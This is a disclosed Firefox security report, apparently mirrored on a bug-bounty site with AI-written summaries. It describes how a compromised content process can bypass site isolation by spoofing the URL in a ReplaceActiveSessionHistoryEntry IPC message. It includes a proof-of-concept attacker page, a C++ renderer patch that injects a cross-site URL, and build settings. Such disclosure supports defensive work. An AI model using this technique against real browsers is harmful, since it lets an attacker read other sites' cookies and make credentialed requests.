Compromised content process can bypass site isolation (Fission) by spoofing URL in ReplaceActiveSessionHistoryEntry IPC message
The parent process trusted the content process to validate the URL in a ReplaceActiveSessionHistoryEntry IPC message, so a compromised renderer could submit a cross-site URL and then reload, causing the victim site to load inside the attacker's still-compromised process. This bypasses site isolation and lets the attacker run script in the victim origin, reading cookies and making credentialed requests.
Originally disclosed on Mozilla
- Fixed in 4 months
- Paid in 4 months
- Disclosed after 4 months
Created attachment 9404124 patch.txt
A compromised content process can spoof the URL in a ReplaceActiveSessionHistoryEntry message to the parent process to create an origin confusion in the parent process, thus bypassing site isolation.
Cause
The ReplaceActiveSessionHistoryEntry function offered by the PContentParent IPC interface allows the content process (PContentChild) to submit changes to the current history state. It is part of the implementation of the history.replaceState(state, unused, url) method of the browser API. For security reasons, url must be valid and same-origin to the current URL. However, this security check is only implemented in the content process. An attacker that has exploited a memory bug in the content process and has achieved RCE can send a malicious IPC message to the parent process, that contains a cross-site URL. This can be achieved by replacing info->mURI in auto PContentChild::SendReplaceActiveSessionHistoryEntry(const MaybeDiscardedBrowsingContext& context, const SessionHistoryInfo& info) -> bool (in release/ipc/ipdl/PContentChild.cpp).
For the following explanation, the website used by the attacker will be https://attacker.com and the victim website will be https://www.victim.com.
The malicious ReplaceActiveSessionHistoryEntry IPC message is processed in mozilla::ipc::IPCResult ContentParent::RecvReplaceActiveSessionHistoryEntry(const MaybeDiscarded<BrowsingContext>& aContext, SessionHistoryInfo&& aInfo) in dom/ipc/ContentParent.cpp. There, the function void CanonicalBrowsingContext::ReplaceActiveSessionHistoryEntry(SessionHistoryInfo* aInfo) (docshell/base/CanonicalBrowsingContext.cpp) is called, which replaces the history state.
By sending a ReplaceActiveSessionHistoryEntry IPC message with the cross-site URL https://victim.com and subsequently calling location.reload(); the attacker can trick the browser process to load the cross-site document in the current compromised content process associated with the site https://attacker.com, thus bypassing site isolation. The attacker still has RCE in the process because the process was not replaced. But the privileged parent process now assigns the site https://victim.com to the content process. Thus, the attacker can execute JS in the context of victim.com and for example read the cookies from and send credentialed fetch requests to victim.com. We assume a compromised content process for this site isolation bypass, which we simulate by patching the content process code.
The function SetActiveSessionHistoryEntry probably also lacks security checks.
Steps to reproduce (Firefox for Linux)
- Patch the content process code to simulate the compromised renderer process
- checkout and build a current version of Firefox (e.g.,
c00a6f0cea53ee7b285abb8157f764cecc52dd28) - must not be a debug build, because assertions in the content process detect the bug and crash the process
- replace the method
PContentChild::SendReplaceActiveSessionHistoryEntryin the generatedPContentChild.cpp(release/ipc/ipdl/PContentChild.cppif the attached mozconfig is used) as outlined in patch.txt or #renderer-patch below. The patch modifies the URL of the transmittedSessionHistoryInfo.
- checkout and build a current version of Firefox (e.g.,
- Start two HTTP servers, using 127.0.0.1 for the attacker and 127.0.0.2 for the victim
cd attacker && python3 -m http.server --bind 127.0.0.1 8080hosting attacker.htmlcd victim && python3 -m http.server --bind 127.0.0.2 8080hosting victim.html
- Browse the attacker website
./mach run http://127.0.0.1:8080/attacker.htmland observe the processes.- in
about:processeswe can observe the attacker process being reused for the victim site - observe that the title of the tab that the victim page is loaded in, still shows the URL of the attacker website
- in
attacker/attacker.html:
<!-- attacker page: http://127.0.0.1:8080/attacker.html --->
<html>
<body>
<h1>Attacker page</h1>
<script>
(async function () {
await window.history.replaceState("foo", "bar", null);
await window.location.reload();
})();
</script>
</body>
</html>
victim/victim.html:
<!-- victim page: http://127.0.0.2:8080/victim.html --->
<html>
<body>
<h1>Victim page</h1>
</body>
</html>
Renderer Patch
Replace a single function in the generated PContentChild.cpp:
// release/ipc/ipdl/PContentChild.cpp
auto PContentChild::SendReplaceActiveSessionHistoryEntry(
const MaybeDiscardedBrowsingContext& context,
const SessionHistoryInfo& info) -> bool
{
UniquePtr<IPC::Message> msg__ = PContent::Msg_ReplaceActiveSessionHistoryEntry(MSG_ROUTING_CONTROL);
IPC::MessageWriter writer__{
(*(msg__)),
this};
// PATCH
SessionHistoryInfo newInfo(info);
nsCOMPtr<nsIURI> uri;
nsresult rv = NS_NewURI(getter_AddRefs(uri), "http://127.0.0.2:8080/victim.html"_ns);
newInfo.SetURI(uri);
IPC::WriteParam((&(writer__)), context);
// Sentinel = 'context'
((&(writer__)))->WriteSentinel(199164678);
IPC::WriteParam((&(writer__)), newInfo);
// Sentinel = 'info'
((&(writer__)))->WriteSentinel(70058413);
if (mozilla::ipc::LoggingEnabledFor("PContent", mozilla::ipc::ChildSide)) {
mozilla::ipc::LogMessageForProtocol(
"PContentChild",
this->ToplevelProtocol()->OtherPidMaybeInvalid(),
"Sending ",
msg__->type(),
mozilla::ipc::MessageDirection::eSending);
}
AUTO_PROFILER_LABEL("PContent::Msg_ReplaceActiveSessionHistoryEntry", OTHER);
bool sendok__ = ChannelSend(std::move(msg__));
return sendok__;
}
mozconfig:
export MOZ_PACKAGE_JSSHELL=1
ac_add_options --with-app-name=firefox
mk_add_options MOZ_APP_NAME=firefox
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/release
# Enable ASan specific code and build workarounds
ac_add_options --enable-address-sanitizer
# These three are required by ASan
ac_add_options --disable-jemalloc
ac_add_options --disable-crashreporter
ac_add_options --disable-elf-hack
# Keep symbols to symbolize ASan traces later
export MOZ_DEBUG_SYMBOLS=1
ac_add_options --enable-debug-symbols
ac_add_options --disable-install-strip
# Settings for an opt build (preferred)
# The -gline-tables-only ensures that all the necessary debug information for ASan
# is present, but the rest is stripped so the resulting binaries are smaller.
ac_add_options --enable-optimize="-O2 -gline-tables-only"
ac_add_options --disable-debug
Affected Versions
Discovered in Firefox Linux Version 121. Reproduced in recent Linux build of bookmarks/central (c00a6f0cea53ee7b285abb8157f764cecc52dd28). We therefore assume, that all versions since 121 are impacted. Versions before 121 are probably also impacted. Reproduced on Debian Bookworm and Fedora 39 Workstation.
We did not test this on Windows, but since the function that misses a security check is in the part of the code that is not OS-specific, Firefox for Windows is probably also effected.
Fix
The function void CanonicalBrowsingContext::ReplaceActiveSessionHistoryEntry(SessionHistoryInfo* aInfo) (docshell/base/CanonicalBrowsingContext.cpp) should include a security check, which verifies that aInfo->mURI is valid and same-origin to the current URL. A content process sending a message that fails this check is probably compromised and should be killed.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The same-origin validation of the URL in ReplaceActiveSessionHistoryEntry exists only in the content process, so the privileged parent process accepts a cross-site URL from a compromised renderer.
Impact
An attacker who already has code execution in a content process could run script in the victim site's origin and read its cookies or send credentialed requests, bypassing site isolation; the report notes this was only demonstrated by patching the renderer, not via a real memory bug.
What the attacker needed
Code execution in a content process; non-debug Firefox build; attacker page visited first
The fix
The parent process should validate that the submitted URL is valid and same-origin to the current URL, and kill the content process if the check fails.
How it was found
- Patch the content process code to simulate a compromised renderer, using a non-debug build because assertions would crash it.
- Start two local HTTP servers, one for the attacker page and one for the victim page.
- Browse to the attacker page and observe in about:processes that the attacker process is reused for the victim site.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Firefox normally puts each website in its own separate process so one site cannot read another's data. Here the browser's main process believed a message from a website's process that said 'my address is now the victim site', without checking it. If an attacker already controls that process, they can make the browser load the victim site there and then read its data.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.